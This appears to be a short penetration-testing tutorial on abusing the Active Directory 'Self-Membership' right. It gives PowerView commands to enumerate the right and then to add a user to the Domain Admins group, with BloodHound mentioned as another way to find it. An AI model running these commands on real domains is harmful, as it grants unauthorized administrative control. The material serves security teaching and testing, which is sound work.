Self-Membership
Self-Membership : Ability to add yourself to a group. If you have Self-Membership on group, you can add yourself to the group.
Enumeration
PowerView
Self-Membership Enumeration
We will get current user’s sid by executing whoami /user, import powerview, then execute the below command to get the list of objects on which we have Self-Membership right.
Command
1
2
3
get-objectacl -resolveguids | ? {($_.securityidentifier -eq "[our_current_user_sid]") -and ($_.objectacetype -like "*self-membership*")}
Below image shows the current user usman has Self-Membership right on Domain Admins group.

BloodHound
We can also get thesame result using bloodhound.
Below image shows the current user usman has Self-Membership right on Domain Admins group.

Exploitation
Let’s check our current group.

Here usman is a member of Domain Users group. We are going to exploit Self-Membership to add usman to Domain Admins group.
PowerView
Since we have Self-Membership right on Domain Admins group, we can add usman to the group by executing the below command
Command
1
2
add-domaingroupmember -identity "Domain Admins" -members usman

Let’s check it by executing get-netgroup -memberidentity usman

As you can see, usman has been added to Domain Admins group.